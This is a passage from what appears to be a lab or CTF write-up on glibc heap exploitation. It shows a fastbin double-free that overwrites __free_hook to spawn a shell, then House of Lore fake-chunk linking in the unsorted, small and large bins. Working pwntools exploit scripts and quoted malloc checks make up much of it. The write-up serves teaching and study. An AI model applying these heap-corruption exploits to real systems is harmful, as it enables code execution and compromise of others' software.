</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;puts() @ &#34;</span>)
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">-</span> libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>puts
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;heap @ &#34;</span>)
</span></span><span style="display:flex;"><span>heap <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;Enter your age: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span><span style="color:#00bcff">0</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;Enter your username: &#34;</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;Fred&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;a&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x8</span>)
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;B&#34;</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;b&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x8</span>)
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">0</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk A] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">1</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk B] -&gt; [chunk A] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x30</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;C&#34;</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;c&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x8</span> <span style="color:#00d3d0">+</span> p64(heap<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x10</span>))
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">2</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk A] -&gt; [chunk B] -&gt; [chunk A] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__free_hook<span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>), <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;d&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x8</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk B] -&gt; [chunk A] -&gt; &amp;__free_hook-8</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;E&#34;</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;e&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x8</span>)
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;F&#34;</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;f&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x8</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: &amp;__free_hook-8</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(<span style="color:#f78fe7">next</span>(libc<span style="color:#00d3d0">.</span>search(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/bin/sh</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>))), <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;g&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x8</span>)
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">6</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendline(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;id&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;malloc(): memory corruption (fast)\n&#39;</span></span></code></pre></div>

<h2 id="house-of-lore">House of Lore</h2>
<p>This is a rather broad type of attack that involves tampering with heap metadata to link fake chunks into the different freelists (unsortedbins, smallbins, largebins) that malloc keeps track of.
A fake chunk can then be used to service a request, usually leading to a leak or a write primitive.</p>
<h3 id="solve">Solve</h3>
<p>The challenge binary has a very straightforward UAF write bug which we can use to easily overwrite freelist pointers; the only trick is not failing malloc&rsquo;s corruption checks.</p>
<p><a id="code-snippet--lore-setup"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;house_of_lore&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">malloc</span>(size):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;size: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>size<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">edit</span>(index, data):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;3&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;puts() @ &#34;</span>)
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">-</span> libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>puts
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;heap @ &#34;</span>)
</span></span><span style="display:flex;"><span>heap <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>)</span></span></code></pre></div>
</details>

<h4 id="unsortedbins">Unsortedbins</h4>
<p>This proceeds similarly to the unsortedbin attack; allocate one chunk and an extra padding chunk to prevent consolidation with the top chunk, free the first chunk, and edit that chunks&rsquo; <kbd>bk</kbd> pointer to insert a fake chunk in the unsortedbin.
The size of the first <kbd>malloc</kbd>​ed chunk should be smaller than the size of the fake chunk so that <kbd>malloc</kbd> will skip the tail of the unsortedbin (the first chunk) and service the request with the fake chunk instead.</p>
<p>I&rsquo;m sure there&rsquo;s a way to pop a shell in this binary, but for the time being I&rsquo;m going to take the easy way out and just focus on overwriting the target memory.</p>





  
  
    

  
  
    
    
  

  
  
    





  





<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><a href="#code-snippet--lore-setup">&lt;&lt;lore-setup&gt;&gt;</a>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;Enter your username: &#34;</span>, p64(<span style="color:#00bcff">0</span>) <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0xa0</span> <span style="color:#00d3d0">|</span> <span style="color:#00bcff">0b1</span>) <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0xdeadbeefdeadbeef</span>) <span style="color:#00d3d0">+</span> p64(elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user <span style="color:#00d3d0">-</span> <span style="color:#00bcff">0x10</span>))
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk A</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk B</span>
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">0</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># unsortedbin: [chunk A] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">0</span>, p64(<span style="color:#00bcff">0xdeadbeefdeadbeef</span>) <span style="color:#00d3d0">+</span> p64(elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user))
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># unsortedbin: [fake chunk] &lt;- [chunk A] -&gt; 0xdeadbeefdeadbeef</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0xa0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">2</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span><span style="color:#00d3d0">*</span>(<span style="color:#00bcff">48</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>) <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;pwned</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;4&#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;target: &#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>

<h4 id="smallbins">Smallbins</h4>
<p>When <kbd>malloc</kbd> traverses the unsortedbin to service a request, it is simultaneously sorting the chunks it can&rsquo;t use into the small and large bins (depending on their size).</p>
<p>So the strategy is the same as with linking into the unsortedbin, but there&rsquo;s an additional check in the codepath that handles smallbins:</p>





  
  
    

  
  
    









<details open>
  
  <summary>C</summary>
  
  </summary>
  <div class="highlight"><div style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3406
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3407
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3408
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3409
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3410
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3411
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3412
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3413
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3414
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3415
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3416
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3417
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3418
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3419
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3420
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>  idx <span style="color:#00d3d0">=</span> <span style="color:#feacd0">smallbin_index</span> (nb);
</span></span><span style="display:flex;"><span>  bin <span style="color:#00d3d0">=</span> <span style="color:#feacd0">bin_at</span> (av, idx);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">if</span> ((victim <span style="color:#00d3d0">=</span> <span style="color:#feacd0">last</span> (bin)) <span style="color:#00d3d0">!=</span> bin)
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      <span style="color:#b6a0ff">if</span> (victim <span style="color:#00d3d0">==</span> <span style="color:#00bcff">0</span>) <span style="color:#a8a8a8">/* initialization check */</span>
</span></span><span style="display:flex;"><span>        <span style="color:#feacd0">malloc_consolidate</span> (av);
</span></span><span style="display:flex;"><span>      <span style="color:#b6a0ff">else</span>
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>          bck <span style="color:#00d3d0">=</span> victim<span style="color:#00d3d0">-&gt;</span>bk;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">if</span> (<span style="color:#feacd0">__glibc_unlikely</span> (bck<span style="color:#00d3d0">-&gt;</span>fd <span style="color:#00d3d0">!=</span> victim))
</span></span><span style="display:flex;"><span>            {
</span></span><span style="display:flex;"><span>              errstr <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;malloc(): smallbin double linked list corrupted&#34;</span>;
</span></span><span style="display:flex;"><span>              <span style="color:#b6a0ff">goto</span> errout;
</span></span><span style="display:flex;"><span>            }</span></span></code></pre></td></tr></table>
</div>
</div>
</details>

<p>So there&rsquo;s no size check, but the fake chunk&rsquo;s <kbd>bk</kbd> pointer needs to point to a chunk whose <kbd>fd</kbd> pointer points back to the fake chunk (whew).
I chose to create another fake chunk on the heap for this purpose, but there&rsquo;s no PIE so we could just as easily put a new fake chunk right next to the original fake chunk.<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></p>





  
  
    
    
    
  
  
    

  
  
    
    
  

  
  
    




  


  





<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><a href="#code-snippet--lore-setup">&lt;&lt;lore-setup&gt;&gt;</a>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;Enter your username: &#34;</span>, p64(<span style="color:#00bcff">0</span>) <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0x90</span> <span style="color:#00d3d0">|</span> <span style="color:#00bcff">0b1</span>) <span style="color:#00d3d0">+</span> p64(heap) <span style="color:#00d3d0">+</span> p64(heap <span style="color:#00d3d0">+</span> <span style="color:#00bcff">0x90</span>))<sup id="fnref:3"><a class="footnote-ref" href="#fn:3" role="doc-noteref">3</a></sup>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk A</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk B</span>
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">0</span>)
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0xa0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk C</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x90 smallbin: [chunk A] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">0</span>, p64(<span style="color:#00bcff">0xdeadbeefdeadbeef</span>) <span style="color:#00d3d0">+</span> p64(elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user))
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x90 smallbin: [fake chunk] &lt;- [chunk A] -&gt; 0xdeadbeefdeadbeef</span>
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">1</span>, p64(elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">4</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span><span style="color:#00d3d0">*</span>(<span style="color:#00bcff">48</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>) <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;pwned</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;4&#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;target: &#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>

<h4 id="largebins">Largebins</h4>
<p>Free chunks that don&rsquo;t fit in a fastbin or smallbin are sorted into a largebin (ignoring the tcache).
Each largebin actually covers a range of bins, with larger bins covering progressively larger ranges; in addition to the linked list of chunks (of all sizes that largebin covers), each largebin has another linked list which links at most one chunk of each size that bin covers.
I like to think of each largebin as having an &ldquo;inner&rdquo; (skip list) and &ldquo;outer&rdquo; (regular) linked list, like this:
<img src="https://feyor.sh/writeups/heaplab/largebins.svg" alt=""></p>
<p>Actually linking in a fake chunk is straightforward; the only hiccup is that the chunk we&rsquo;re tampering with can&rsquo;t be the last chunk in that bin, otherwise we&rsquo;ll never follow one of that chunk&rsquo;s corrupted pointers:</p>





  
  
    

  
  
    









<details open>
  
  <summary>C</summary>
  
  </summary>
  <div class="highlight"><div style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3620
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3621
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3622
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3623
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3624
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3625
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#a8a8a8">/* Avoid removing the first entry for a size so that the skip
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">   list does not have to be rerouted.  */</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">if</span> (victim <span style="color:#00d3d0">!=</span> <span style="color:#feacd0">last</span> (bin)
</span></span><span style="display:flex;"><span> <span style="color:#00d3d0">&amp;&amp;</span> <span style="color:#feacd0">chunksize_nomask</span> (victim)
